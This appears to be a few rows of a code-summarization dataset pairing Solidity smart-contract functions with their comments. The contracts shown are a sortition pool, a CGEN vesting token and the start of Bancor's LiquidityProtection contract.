return getEligibleWeight(operator) == getPoolWeight(operator);
}
// Returns whether the operator has passed the initialization blocks period
// to be eligible for the work selection. Reverts if the operator is not in
// the pool.
function isOperatorInitialized(address operator) public view returns (bool) {
require(isOperatorInPool(operator), "Operator is not in the pool");
uint256 flaggedPosition = getFlaggedLeafPosition(operator);
uint256 leafPosition = flaggedPosition.unsetFlag();
uint256 leaf = leaves[leafPosition];
return isLeafInitialized(leaf);
}
// Return the weight of the operator in the pool,
// which may or may not be out of date.
function getPoolWeight(address operator) public view returns (uint256) {
uint256 flaggedPosition = getFlaggedLeafPosition(operator);
if (flaggedPosition == 0) {
return 0;
} else {
uint256 leafPosition = flaggedPosition.unsetFlag();
uint256 leafWeight = leaves[leafPosition].weight();
return leafWeight;
}
}
// Add an operator to the pool,
// reverting if the operator is already present.
function joinPool(address operator) public {
uint256 eligibleWeight = getEligibleWeight(operator);
require(eligibleWeight > 0, "Operator not eligible");
depositGas(operator);
insertOperator(operator, eligibleWeight);
}
// Update the operator's weight if present and eligible,
// or remove from the pool if present and ineligible.
function updateOperatorStatus(address operator) public {
uint256 eligibleWeight = getEligibleWeight(operator);
uint256 inPoolWeight = getPoolWeight(operator);
require(eligibleWeight != inPoolWeight, "Operator already up to date");
if (eligibleWeight == 0) {
removeOperator(operator);
releaseGas(operator);
} else {
updateOperator(operator, eligibleWeight);
}
}
function generalizedSelectGroup(
uint256 groupSize,
bytes32 seed,
// This uint256 is actually a void pointer.
// We can't pass a SelectionParams,
// because the implementation of the SelectionParams struct
// can vary between different concrete sortition pool implementations.
//
// Whatever SelectionParams struct is used by the concrete contract
// should be created in the `selectGroup`/`selectSetGroup` function,
// then coerced into a uint256 to be passed into this function.
// The paramsPtr is then passed to the `decideFate` implementation
// which can coerce it back into the concrete SelectionParams.
// This allows `generalizedSelectGroup`
// to work with any desired eligibility logic.
uint256 paramsPtr,
bool noDuplicates
) internal returns (address[] memory) {
uint256 _root = root;
bool rootChanged = false;
DynamicArray.AddressArray memory selected;
selected = DynamicArray.addressArray(groupSize);
RNG.State memory rng;
rng = RNG.initialize(seed, _root.sumWeight(), groupSize);
while (selected.array.length < groupSize) {
rng.generateNewIndex();
(uint256 leafPosition, uint256 startingIndex) = pickWeightedLeaf(
rng.currentMappedIndex,
_root
);
uint256 leaf = leaves[leafPosition];
address operator = leaf.operator();
uint256 leafWeight = leaf.weight();
Fate memory fate = decideFate(leaf, selected, paramsPtr);
if (fate.decision == Decision.Select) {
selected.arrayPush(operator);
if (noDuplicates) {
rng.addSkippedInterval(startingIndex, leafWeight);
}
rng.reseed(seed, selected.array.length);
continue;
}
if (fate.decision == Decision.Skip) {
rng.addSkippedInterval(startingIndex, leafWeight);
continue;
}
if (fate.decision == Decision.Delete) {
// Update the RNG
rng.updateInterval(startingIndex, leafWeight, 0);
// Remove the leaf and update root
_root = removeLeaf(leafPosition, _root);
rootChanged = true;
// Remove the record of the operator's leaf and release gas
removeLeafPositionRecord(operator);
releaseGas(operator);
continue;
}
if (fate.decision == Decision.UpdateRetry) {
_root = setLeaf(leafPosition, leaf.setWeight(fate.maybeWeight), _root);
rootChanged = true;
rng.updateInterval(startingIndex, leafWeight, fate.maybeWeight);
continue;
}
if (fate.decision == Decision.UpdateSelect) {
_root = setLeaf(leafPosition, leaf.setWeight(fate.maybeWeight), _root);
rootChanged = true;
selected.arrayPush(operator);
rng.updateInterval(startingIndex, leafWeight, fate.maybeWeight);
if (noDuplicates) {
rng.addSkippedInterval(startingIndex, fate.maybeWeight);
}
rng.reseed(seed, selected.array.length);
continue;
}
}
if (rootChanged) {
root = _root;
}
return selected.array;
}
function isLeafInitialized(uint256 leaf) internal view returns (bool) {
uint256 createdAt = leaf.creationBlock();
return block.number > (createdAt + operatorInitBlocks());
}
// Return the eligible weight of the operator,
// which may differ from the weight in the pool.
// Return 0 if ineligible.
function getEligibleWeight(address operator) internal view returns (uint256);
function decideFate(
uint256 leaf,
DynamicArray.AddressArray memory selected,
uint256 paramsPtr
) internal view returns (Fate memory);
function gasDepositSize() internal pure returns (uint256) {
return GAS_DEPOSIT_SIZE;
}
}
ntract BondedSortitionPool is AbstractSortitionPool {
using DynamicArray for DynamicArray.UintArray;
using DynamicArray for DynamicArray.AddressArray;
using RNG for RNG.State;
struct PoolParams {
IStaking stakingContract;
uint256 minimumStake;
IBonding bondingContract;
// Defines the minimum unbounded value the operator needs to have to be
// eligible to join and stay in the sortition pool. Operators not
// satisfying minimum bondable value are removed from the pool.
uint256 minimumBondableValue;
// Bond required from each operator for the currently pending group
// selection. If operator does not have at least this unbounded value,
// it is skipped during the selection.
uint256 requestedBond;
// The weight divisor in the pool can differ from the minimum stake
uint256 poolWeightDivisor;
address owner;
}
PoolParams poolParams;
constructor(
IStaking _stakingContract,
IBonding _bondingContract,
uint256 _minimumStake,
uint256 _minimumBondableValue,
uint256 _poolWeightDivisor,
address _poolOwner
) public {
require(_minimumStake > 0, "Minimum stake cannot be zero");
poolParams = PoolParams(
_stakingContract,
_minimumStake,
_bondingContract,
_minimumBondableValue,
0,
_poolWeightDivisor,
_poolOwner
);
}
/// @notice Selects a new group of operators of the provided size based on
/// the provided pseudo-random seed and bonding requirements. All operators
/// in the group are unique.
///
/// If there are not enough operators in a pool to form a group or not
/// enough operators are eligible for work selection given the bonding
/// requirements, the function fails.
/// @param groupSize Size of the requested group
/// @param seed Pseudo-random number used to select operators to group
/// @param minimumStake The current minimum stake value
/// @param bondValue Size of the requested bond per operator
function selectSetGroup(
uint256 groupSize,
bytes32 seed,
uint256 minimumStake,
uint256 bondValue
) public returns (address[] memory) {
PoolParams memory params = initializeSelectionParams(
minimumStake,
bondValue
);
require(msg.sender == params.owner, "Only owner may select groups");
uint256 paramsPtr;
// solium-disable-next-line security/no-inline-assembly
assembly {
paramsPtr := params
}
return generalizedSelectGroup(groupSize, seed, paramsPtr, true);
}
/// @notice Sets the minimum bondable value required from the operator
/// so that it is eligible to be in the pool. The pool should specify
/// a reasonable minimum requirement for operators trying to join the pool
/// to prevent griefing group selection.
/// @param minimumBondableValue The minimum bondable value required from the
/// operator.
function setMinimumBondableValue(uint256 minimumBondableValue) public {
require(
msg.sender == poolParams.owner,
"Only owner may update minimum bond value"
);
poolParams.minimumBondableValue = minimumBondableValue;
}
/// @notice Returns the minimum bondable value required from the operator
/// so that it is eligible to be in the pool.
function getMinimumBondableValue() public view returns (uint256) {
return poolParams.minimumBondableValue;
}
function initializeSelectionParams(uint256 minimumStake, uint256 bondValue)
internal
returns (PoolParams memory params)
{
params = poolParams;
if (params.requestedBond != bondValue) {
params.requestedBond = bondValue;
}
if (params.minimumStake != minimumStake) {
params.minimumStake = minimumStake;
poolParams.minimumStake = minimumStake;
}
return params;
}
// Return the eligible weight of the operator,
// which may differ from the weight in the pool.
// Return 0 if ineligible.
function getEligibleWeight(address operator) internal view returns (uint256) {
address ownerAddress = poolParams.owner;
// Get the amount of bondable value available for this pool.
// We only care that this covers one single bond
// regardless of the weight of the operator in the pool.
uint256 bondableValue = poolParams.bondingContract.availableUnbondedValue(
operator,
ownerAddress,
address(this)
);
// Don't query stake if bond is insufficient.
if (bondableValue < poolParams.minimumBondableValue) {
return 0;
}
uint256 eligibleStake = poolParams.stakingContract.eligibleStake(
operator,
ownerAddress
);
// Weight = floor(eligibleStake / poolWeightDivisor)
// but only if eligibleStake >= minimumStake.
// Ethereum uint256 division performs implicit floor
// If eligibleStake < poolWeightDivisor, return 0 = ineligible.
if (eligibleStake < poolParams.minimumStake) {
return 0;
}
return (eligibleStake / poolParams.poolWeightDivisor);
}
function decideFate(
uint256 leaf,
DynamicArray.AddressArray memory, // `selected`, for future use
uint256 paramsPtr
) internal view returns (Fate memory) {
PoolParams memory params;
// solium-disable-next-line security/no-inline-assembly
assembly {
params := paramsPtr
}
address operator = leaf.operator();
uint256 leafWeight = leaf.weight();
if (!isLeafInitialized(leaf)) {
return Fate(Decision.Skip, 0);
}
address ownerAddress = params.owner;
// Get the amount of bondable value available for this pool.
// We only care that this covers one single bond
// regardless of the weight of the operator in the pool.
uint256 bondableValue = params.bondingContract.availableUnbondedValue(
operator,
ownerAddress,
address(this)
);
// If unbonded value is insufficient for the operator to be in the pool,
// delete the operator.
if (bondableValue < params.minimumBondableValue) {
return Fate(Decision.Delete, 0);
}
// If unbonded value is sufficient for the operator to be in the pool
// but it is not sufficient for the current selection, skip the operator.
if (bondableValue < params.requestedBond) {
return Fate(Decision.Skip, 0);
}
uint256 eligibleStake = params.stakingContract.eligibleStake(
operator,
ownerAddress
);
// Weight = floor(eligibleStake / poolWeightDivisor)
// Ethereum uint256 division performs implicit floor
uint256 eligibleWeight = eligibleStake / params.poolWeightDivisor;
if (eligibleWeight < leafWeight || eligibleStake < params.minimumStake) {
return Fate(Decision.Delete, 0);
}
return Fate(Decision.Select, 0);
}
}
|
The dynamic array is full so we need to allocate more first. We check for >= instead of == so that we can put the require inside the conditional, reducing the gas costs of `push` slightly. This should never happen if `allocatedMemory` isn't messed with. Allocate twice the original array length, then copy the contents over.
|
function arrayPush(UintArray memory self, uint256 item) internal pure {
uint256 length = self.array.length;
uint256 allocLength = self.allocatedMemory;
if (length >= allocLength) {
require(length == allocLength, "Array length exceeds allocation");
uint256 newMemory = length * 2;
uint256[] memory newArray = _allocateUints(newMemory);
_copy(newArray, self.array);
self.array = newArray;
self.allocatedMemory = newMemory;
}
_push(self.array, item);
}
| 7,493,888
|
pragma solidity ^0.4.21;
/*
* Contract that is working with ERC223 tokens
*/
contract ERC223Receiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure;
}
/* New ERC223 contract interface */
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
// redundant as public accessors are automatically assigned
// function name() public view returns (string _name);
// function symbol() public view returns (string _symbol);
// function decimals() public view returns (uint8 _decimals);
// function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
//event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract CGENToken is ERC223 {
// standard token metadata
// implements ERC20/ERC223 interface
string public constant name = "Cryptanogen";
string public constant symbol = "CGEN" ;
uint8 public constant decimals = 8;
// amount of tokens vested
uint128 public availableSupply;
// individual vesting data
struct vesting {
uint createdAt;
uint128 amount;
uint8 releaseRate;
uint32 releaseIntervalSeconds;
uint8 nextReleasePeriod;
bool completed;
}
struct tokenAccount {
uint128 vestedBalance;
uint128 releasedBalance;
vesting []vestingIndex;
}
// locked balance per address
mapping (address => tokenAccount) tokenAccountIndex;
// contract owner
address public owner;
// contract creation time
uint creationTime;
// How often vested tokens are released
//uint32 public defaultReleaseIntervalSeconds = 31536000;
// Percentage vested amount released each interval
//uint8 public defaultReleaseRate = 10;
function CGENToken(uint _supply) public {
totalSupply = _supply;
availableSupply = uint128(totalSupply);
require(uint(availableSupply) == totalSupply);
owner = msg.sender;
creationTime = now;
emit Transfer(0x0, owner, _supply);
}
// creates a new vesting with default parameters for rate and interval
// function vestToAddress(address _who, uint128 _amount) public returns(bool) {
// return vestToAddressEx(_who, _amount, defaultReleaseRate, defaultReleaseIntervalSeconds);
// }
// creates a new vesting with explicit parameters for rate and interval
function vestToAddressEx(address _who, uint128 _amount, uint8 _divisor, uint32 _intervalSeconds) public returns(bool) {
// uninitialized but all fields will be set below
vesting memory newVesting;
// vestings are registered manually by contract owner
require(msg.sender == owner);
// duh
require(_amount > 0);
require(_divisor <= 100 && _divisor > 0);
require(_intervalSeconds > 0);
// rate should divide evenly to 100 (percent)
require(100 % _divisor == 0);
// prevent vesting of more tokens than total supply
require(_amount <= availableSupply);
newVesting.createdAt = now;
newVesting.amount = _amount;
newVesting.releaseRate = 100 / _divisor;
newVesting.releaseIntervalSeconds = _intervalSeconds;
newVesting.nextReleasePeriod = 0;
newVesting.completed = false;
tokenAccountIndex[_who].vestingIndex.push(newVesting);
availableSupply -= _amount;
tokenAccountIndex[_who].vestedBalance += _amount;
emit Transfer(owner, _who, _amount);
return true;
}
// check the vesting at the particular index for the address for amount eligible for release
// returns the eligible amount
function checkRelease(address _who, uint _idx) public view returns(uint128) {
vesting memory v;
uint i;
uint timespan;
uint timestep;
uint maxEligibleFactor;
uint128 releaseStep;
uint128 eligibleAmount;
// check if any tokens have been vested to this account
require(tokenAccountIndex[_who].vestingIndex.length > _idx);
v = tokenAccountIndex[_who].vestingIndex[_idx];
if (v.completed) {
return 0;
}
// by dividing timespan (time passed since vesting creation) by the release intervals, we get the maximal rate that is eligible for release so far
// cap it at 100 percent
timespan = now - tokenAccountIndex[_who].vestingIndex[_idx].createdAt;
timestep = tokenAccountIndex[_who].vestingIndex[_idx].releaseIntervalSeconds * 1 seconds;
maxEligibleFactor = (timespan / timestep) * tokenAccountIndex[_who].vestingIndex[_idx].releaseRate;
if (maxEligibleFactor > 100) {
maxEligibleFactor = 100;
}
releaseStep = (tokenAccountIndex[_who].vestingIndex[_idx].amount * tokenAccountIndex[_who].vestingIndex[_idx].releaseRate) / 100;
// iterate from the cursor on the next vesting period that has not yet been released
for (i = tokenAccountIndex[_who].vestingIndex[_idx].nextReleasePeriod * tokenAccountIndex[_who].vestingIndex[_idx].releaseRate; i < maxEligibleFactor; i += tokenAccountIndex[_who].vestingIndex[_idx].releaseRate) {
eligibleAmount += releaseStep;
}
return eligibleAmount;
}
// will release and make transferable any tokens eligible for release
// to avoid waste of gas, the calling agent should have confirmed with checkRelease that there actually is something to release
function release(address _who, uint _idx) public returns(uint128) {
vesting storage v;
uint8 j;
uint8 i;
uint128 total;
uint timespan;
uint timestep;
uint128 releaseStep;
uint maxEligibleFactor;
// check if any tokens have been vested to this account
// don't burn gas if already completed
require(tokenAccountIndex[_who].vestingIndex.length > _idx);
v = tokenAccountIndex[_who].vestingIndex[_idx];
if (v.completed) {
revert();
}
// by dividing timespan (time passed since vesting creation) by the release intervals, we get the maximal rate that is eligible for release so far
// cap it at 100 percent
timespan = now - v.createdAt;
timestep = v.releaseIntervalSeconds * 1 seconds;
maxEligibleFactor = (timespan / timestep) * v.releaseRate;
if (maxEligibleFactor > 100) {
maxEligibleFactor = 100;
}
releaseStep = (v.amount * v.releaseRate) / 100;
for (i = v.nextReleasePeriod * v.releaseRate; i < maxEligibleFactor; i += v.releaseRate) {
total += releaseStep;
j++;
}
tokenAccountIndex[_who].vestedBalance -= total;
tokenAccountIndex[_who].releasedBalance += total;
if (maxEligibleFactor == 100) {
v.completed = true;
} else {
v.nextReleasePeriod += j;
}
return total;
}
// vestings state access
function getVestingAmount(address _who, uint _idx) public view returns (uint128) {
return tokenAccountIndex[_who].vestingIndex[_idx].amount;
}
function getVestingReleaseRate(address _who, uint _idx) public view returns (uint8) {
return tokenAccountIndex[_who].vestingIndex[_idx].releaseRate;
}
function getVestingReleaseInterval(address _who, uint _idx) public view returns(uint32) {
return tokenAccountIndex[_who].vestingIndex[_idx].releaseIntervalSeconds;
}
function getVestingCreatedAt(address _who, uint _idx) public view returns(uint) {
return tokenAccountIndex[_who].vestingIndex[_idx].createdAt;
}
function getVestingsCount(address _who) public view returns(uint) {
return tokenAccountIndex[_who].vestingIndex.length;
}
function vestingIsCompleted(address _who, uint _idx) public view returns(bool) {
require(tokenAccountIndex[_who].vestingIndex.length > _idx);
return tokenAccountIndex[_who].vestingIndex[_idx].completed;
}
// implements ERC223 interface
function transfer(address _to, uint256 _value, bytes _data, string _custom_callback_unimplemented) public returns(bool) {
uint128 shortValue;
// owner can only vest tokens
require(_to != owner);
require(msg.sender != owner);
// we use 128 bit data for values
// make sure it's converted correctly
shortValue = uint128(_value);
require(uint(shortValue) == _value);
// check if there is enough in the released balance
require(tokenAccountIndex[msg.sender].releasedBalance >= shortValue);
// check if the recipient has an account, if not create it
tokenAccountIndex[msg.sender].releasedBalance -= shortValue;
tokenAccountIndex[_to].releasedBalance += shortValue;
// ERC223 safe token transfer to contract
if (isContract(_to)) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value);
return true;
}
// implements ERC20/ERC223 interface
function transfer(address _to, uint256 _value, bytes _data) public returns (bool) {
return transfer(_to, _value, _data, "");
}
// implements ERC20/ERC223 interface
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty, "");
}
// not used for this token
// implements ERC20 interface
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
return false;
}
// not used for this token
// implements ERC20 interface
function approve(address _spender, uint256 _value) public returns(bool) {
return false;
}
// not used for this token
// implements ERC20 interface
function allowance(address _owner, address _spender) public view returns(uint256) {
return 0;
}
// check the total of vested tokens still locked for a particular address
function vestedBalanceOf(address _who) public view returns (uint) {
return uint(tokenAccountIndex[_who].vestedBalance);
}
// check the total of vested and released tokens assigned to a particular addresss
// (this is the actual token balance)
// implements ERC20/ERC223 interface
function balanceOf(address _who) public view returns (uint) {
if (_who == owner) {
return availableSupply;
}
return uint(tokenAccountIndex[_who].vestedBalance + tokenAccountIndex[_who].releasedBalance);
}
// external addresses (wallets) will have codesize 0
function isContract(address _addr) private view returns (bool) {
uint l;
// Retrieve the size of the code on target address, this needs assembly .
assembly {
l := extcodesize(_addr)
}
return (l > 0);
}
}
|
not used for this token implements ERC20 interface
|
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
return false;
}
| 2,435,435
|
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@bancor/token-governance/contracts/ITokenGovernance.sol";
import "../utility/interfaces/ICheckpointStore.sol";
import "../utility/MathEx.sol";
import "../utility/Types.sol";
import "../utility/Time.sol";
import "../utility/Utils.sol";
import "../utility/Owned.sol";
import "../token/interfaces/IDSToken.sol";
import "../token/ReserveToken.sol";
import "../converter/interfaces/IConverterAnchor.sol";
import "../converter/interfaces/IConverter.sol";
import "../converter/interfaces/IConverterRegistry.sol";
import "./interfaces/ILiquidityProtection.sol";
interface ILiquidityPoolConverter is IConverter {
function addLiquidity(
IReserveToken[] memory reserveTokens,
uint256[] memory reserveAmounts,
uint256 _minReturn
) external payable;
function removeLiquidity(
uint256 amount,
IReserveToken[] memory reserveTokens,
uint256[] memory _reserveMinReturnAmounts
) external;
function recentAverageRate(IReserveToken reserveToken) external view returns (uint256, uint256);
}
/**
* @dev This contract implements the liquidity protection mechanism.
*/
contract LiquidityProtection is ILiquidityProtection, Utils, Owned, ReentrancyGuard, Time {
using SafeMath for uint256;
using ReserveToken for IReserveToken;
using SafeERC20 for IERC20;
using SafeERC20 for IDSToken;
using SafeERC20Ex for IERC20;
using MathEx for *;
struct Position {
address provider; // liquidity provider
IDSToken poolToken; // pool token address
IReserveToken reserveToken; // reserve token address
uint256 poolAmount; // pool token amount
uint256 reserveAmount; // reserve token amount
uint256 reserveRateN; // rate of 1 protected reserve token in units of the other reserve token (numerator)
uint256 reserveRateD; // rate of 1 protected reserve token in units of the other reserve token (denominator)
uint256 timestamp; // timestamp
}
// various rates between the two reserve tokens. the rate is of 1 unit of the protected reserve token in units of the other reserve token
struct PackedRates {
uint128 addSpotRateN; // spot rate of 1 A in units of B when liquidity was added (numerator)
uint128 addSpotRateD; // spot rate of 1 A in units of B when liquidity was added (denominator)
uint128 removeSpotRateN; // spot rate of 1 A in units of B when liquidity is removed (numerator)
uint128 removeSpotRateD; // spot rate of 1 A in units of B when liquidity is removed (denominator)
uint128 removeAverageRateN; // average rate of 1 A in units of B when liquidity is removed (numerator)
uint128 removeAverageRateD; // average rate of 1 A in units of B when liquidity is removed (denominator)
}
uint256 internal constant MAX_UINT128 = 2**128 - 1;
uint256 internal constant MAX_UINT256 = uint256(-1);
ILiquidityProtectionSettings private immutable _settings;
ILiquidityProtectionStore private immutable _store;
ILiquidityProtectionStats private immutable _stats;
ILiquidityProtectionSystemStore private immutable _systemStore;
ITokenHolder private immutable _wallet;
IERC20 private immutable _networkToken;
ITokenGovernance private immutable _networkTokenGovernance;
IERC20 private immutable _govToken;
ITokenGovernance private immutable _govTokenGovernance;
ICheckpointStore private immutable _lastRemoveCheckpointStore;
/**
* @dev initializes a new LiquidityProtection contract
*
* @param settings liquidity protection settings
* @param store liquidity protection store
* @param stats liquidity protection stats
* @param systemStore liquidity protection system store
* @param wallet liquidity protection wallet
* @param networkTokenGovernance network token governance
* @param govTokenGovernance governance token governance
* @param lastRemoveCheckpointStore last liquidity removal/unprotection checkpoints store
*/
constructor(
ILiquidityProtectionSettings settings,
ILiquidityProtectionStore store,
ILiquidityProtectionStats stats,
ILiquidityProtectionSystemStore systemStore,
ITokenHolder wallet,
ITokenGovernance networkTokenGovernance,
ITokenGovernance govTokenGovernance,
ICheckpointStore lastRemoveCheckpointStore
)
public
validAddress(address(settings))
validAddress(address(store))
validAddress(address(stats))
validAddress(address(systemStore))
validAddress(address(wallet))
validAddress(address(lastRemoveCheckpointStore))
{
_settings = settings;
_store = store;
_stats = stats;
_systemStore = systemStore;
_wallet = wallet;
_networkTokenGovernance = networkTokenGovernance;
_govTokenGovernance = govTokenGovernance;
_lastRemoveCheckpointStore = lastRemoveCheckpointStore;
_networkToken = networkTokenGovernance.token();
_govToken = govTokenGovernance.token();
}
// ensures that the pool is supported and whitelisted
modifier poolSupportedAndWhitelisted(IConverterAnchor poolAnchor) {
_poolSupported(poolAnchor);
_poolWhitelisted(poolAnchor);
_;
}
// ensures that add liquidity is enabled
modifier addLiquidityEnabled(IConverterAnchor poolAnchor, IReserveToken reserveToken) {
_addLiquidityEnabled(poolAnchor, reserveToken);
_;
}
// error message binary size optimization
function _poolSupported(IConverterAnchor poolAnchor) internal view {
require(_settings.isPoolSupported(poolAnchor), "ERR_POOL_NOT_SUPPORTED");
}
// error message binary size optimization
function _poolWhitelisted(IConverterAnchor poolAnchor) internal view {
require(_settings.isPoolWhitelisted(poolAnchor), "ERR_POOL_NOT_WHITELISTED");
}
// error message binary size optimization
function _addLiquidityEnabled(IConverterAnchor poolAnchor, IReserveToken reserveToken) internal view {
require(!_settings.addLiquidityDisabled(poolAnchor, reserveToken), "ERR_ADD_LIQUIDITY_DISABLED");
}
// error message binary size optimization
function verifyEthAmount(uint256 value) internal view {
require(msg.value == value, "ERR_ETH_AMOUNT_MISMATCH");
}
/**
* @dev returns the LP store
*
* @return the LP store
*/
function store() external view override returns (ILiquidityProtectionStore) {
return _store;
}
/**
* @dev returns the LP stats
*
* @return the LP stats
*/
function stats() external view override returns (ILiquidityProtectionStats) {
return _stats;
}
/**
* @dev returns the LP settings
*
* @return the LP settings
*/
function settings() external view override returns (ILiquidityProtectionSettings) {
return _settings;
}
/**
* @dev returns the LP system store
*
* @return the LP system store
*/
function systemStore() external view override returns (ILiquidityProtectionSystemStore) {
return _systemStore;
}
/**
* @dev returns the LP wallet
*
* @return the LP wallet
*/
function wallet() external view override returns (ITokenHolder) {
return _wallet;
}
/**
* @dev accept ETH
*/
receive() external payable {}
/**
* @dev transfers the ownership of the store
* can only be called by the contract owner
*
* @param newOwner the new owner of the store
*/
function transferStoreOwnership(address newOwner) external ownerOnly {
_store.transferOwnership(newOwner);
}
/**
* @dev accepts the ownership of the store
* can only be called by the contract owner
*/
function acceptStoreOwnership() external ownerOnly {
_store.acceptOwnership();
}
/**
* @dev transfers the ownership of the wallet
* can only be called by the contract owner
*
* @param newOwner the new owner of the wallet
*/
function transferWalletOwnership(address newOwner) external ownerOnly {
_wallet.transferOwnership(newOwner);
}
/**
* @dev accepts the ownership of the wallet
* can only be called by the contract owner
*/
function acceptWalletOwnership() external ownerOnly {
_wallet.acceptOwnership();
}
/**
* @dev adds protected liquidity to a pool for a specific recipient
* also mints new governance tokens for the caller if the caller adds network tokens
*
* @param owner position owner
* @param poolAnchor anchor of the pool
* @param reserveToken reserve token to add to the pool
* @param amount amount of tokens to add to the pool
*
* @return new position id
*/
function addLiquidityFor(
address owner,
IConverterAnchor poolAnchor,
IReserveToken reserveToken,
uint256 amount
)
external
payable
override
nonReentrant
validAddress(owner)
poolSupportedAndWhitelisted(poolAnchor)
addLiquidityEnabled(poolAnchor, reserveToken)
greaterThanZero(amount)
returns (uint256)
{
return addLiquidity(owner, poolAnchor, reserveToken, amount);
}
/**
* @dev adds protected liquidity to a pool
* also mints new governance tokens for the caller if the caller adds network tokens
*
* @param poolAnchor anchor of the pool
* @param reserveToken reserve token to add to the pool
* @param amount amount of tokens to add to the pool
*
* @return new position id
*/
function addLiquidity(
IConverterAnchor poolAnchor,
IReserveToken reserveToken,
uint256 amount
)
external
payable
override
nonReentrant
poolSupportedAndWhitelisted(poolAnchor)
addLiquidityEnabled(poolAnchor, reserveToken)
greaterThanZero(amount)
returns (uint256)
{
return addLiquidity(msg.sender, poolAnchor, reserveToken, amount);
}
/**
* @dev adds protected liquidity to a pool for a specific recipient
* also mints new governance tokens for the caller if the caller adds network tokens
*
* @param owner position owner
* @param poolAnchor anchor of the pool
* @param reserveToken reserve token to add to the pool
* @param amount amount of tokens to add to the pool
*
* @return new position id
*/
function addLiquidity(
address owner,
IConverterAnchor poolAnchor,
IReserveToken reserveToken,
uint256 amount
) private returns (uint256) {
if (isNetworkToken(reserveToken)) {
verifyEthAmount(0);
return addNetworkTokenLiquidity(owner, poolAnchor, amount);
}
// verify that ETH was passed with the call if needed
verifyEthAmount(reserveToken.isNativeToken() ? amount : 0);
return addBaseTokenLiquidity(owner, poolAnchor, reserveToken, amount);
}
/**
* @dev adds network token liquidity to a pool
* also mints new governance tokens for the caller
*
* @param owner position owner
* @param poolAnchor anchor of the pool
* @param amount amount of tokens to add to the pool
*
* @return new position id
*/
function addNetworkTokenLiquidity(
address owner,
IConverterAnchor poolAnchor,
uint256 amount
) internal returns (uint256) {
IDSToken poolToken = IDSToken(address(poolAnchor));
IReserveToken networkToken = IReserveToken(address(_networkToken));
// get the rate between the pool token and the reserve
Fraction memory poolRate = poolTokenRate(poolToken, networkToken);
// calculate the amount of pool tokens based on the amount of reserve tokens
uint256 poolTokenAmount = amount.mul(poolRate.d).div(poolRate.n);
// remove the pool tokens from the system's ownership (will revert if not enough tokens are available)
_systemStore.decSystemBalance(poolToken, poolTokenAmount);
// add the position for the recipient
uint256 id = addPosition(owner, poolToken, networkToken, poolTokenAmount, amount, time());
// burns the network tokens from the caller. we need to transfer the tokens to the contract itself, since only
// token holders can burn their tokens
_networkToken.safeTransferFrom(msg.sender, address(this), amount);
burnNetworkTokens(poolAnchor, amount);
// mint governance tokens to the recipient
_govTokenGovernance.mint(owner, amount);
return id;
}
/**
* @dev adds base token liquidity to a pool
*
* @param owner position owner
* @param poolAnchor anchor of the pool
* @param baseToken the base reserve token of the pool
* @param amount amount of tokens to add to the pool
*
* @return new position id
*/
function addBaseTokenLiquidity(
address owner,
IConverterAnchor poolAnchor,
IReserveToken baseToken,
uint256 amount
) internal returns (uint256) {
IDSToken poolToken = IDSToken(address(poolAnchor));
IReserveToken networkToken = IReserveToken(address(_networkToken));
// get the reserve balances
ILiquidityPoolConverter converter = ILiquidityPoolConverter(payable(ownedBy(poolAnchor)));
(uint256 reserveBalanceBase, uint256 reserveBalanceNetwork) =
converterReserveBalances(converter, baseToken, networkToken);
require(reserveBalanceNetwork >= _settings.minNetworkTokenLiquidityForMinting(), "ERR_NOT_ENOUGH_LIQUIDITY");
// calculate and mint the required amount of network tokens for adding liquidity
uint256 newNetworkLiquidityAmount = amount.mul(reserveBalanceNetwork).div(reserveBalanceBase);
// verify network token minting limit
uint256 mintingLimit = _settings.networkTokenMintingLimits(poolAnchor);
if (mintingLimit == 0) {
mintingLimit = _settings.defaultNetworkTokenMintingLimit();
}
uint256 newNetworkTokensMinted = _systemStore.networkTokensMinted(poolAnchor).add(newNetworkLiquidityAmount);
require(newNetworkTokensMinted <= mintingLimit, "ERR_MAX_AMOUNT_REACHED");
// issue new network tokens to the system
mintNetworkTokens(address(this), poolAnchor, newNetworkLiquidityAmount);
// transfer the base tokens from the caller and approve the converter
networkToken.ensureApprove(address(converter), newNetworkLiquidityAmount);
if (!baseToken.isNativeToken()) {
baseToken.safeTransferFrom(msg.sender, address(this), amount);
baseToken.ensureApprove(address(converter), amount);
}
// add the liquidity to the converter
addLiquidity(converter, baseToken, networkToken, amount, newNetworkLiquidityAmount, msg.value);
// transfer the new pool tokens to the wallet
uint256 poolTokenAmount = poolToken.balanceOf(address(this));
poolToken.safeTransfer(address(_wallet), poolTokenAmount);
// the system splits the pool tokens with the caller
// increase the system's pool token balance and add the position for the caller
_systemStore.incSystemBalance(poolToken, poolTokenAmount - poolTokenAmount / 2); // account for rounding errors
return addPosition(owner, poolToken, baseToken, poolTokenAmount / 2, amount, time());
}
/**
* @dev returns the single-side staking limits of a given pool
*
* @param poolAnchor anchor of the pool
*
* @return maximum amount of base tokens that can be single-side staked in the pool
* @return maximum amount of network tokens that can be single-side staked in the pool
*/
function poolAvailableSpace(IConverterAnchor poolAnchor)
external
view
poolSupportedAndWhitelisted(poolAnchor)
returns (uint256, uint256)
{
return (baseTokenAvailableSpace(poolAnchor), networkTokenAvailableSpace(poolAnchor));
}
/**
* @dev returns the base-token staking limits of a given pool
*
* @param poolAnchor anchor of the pool
*
* @return maximum amount of base tokens that can be single-side staked in the pool
*/
function baseTokenAvailableSpace(IConverterAnchor poolAnchor) internal view returns (uint256) {
// get the pool converter
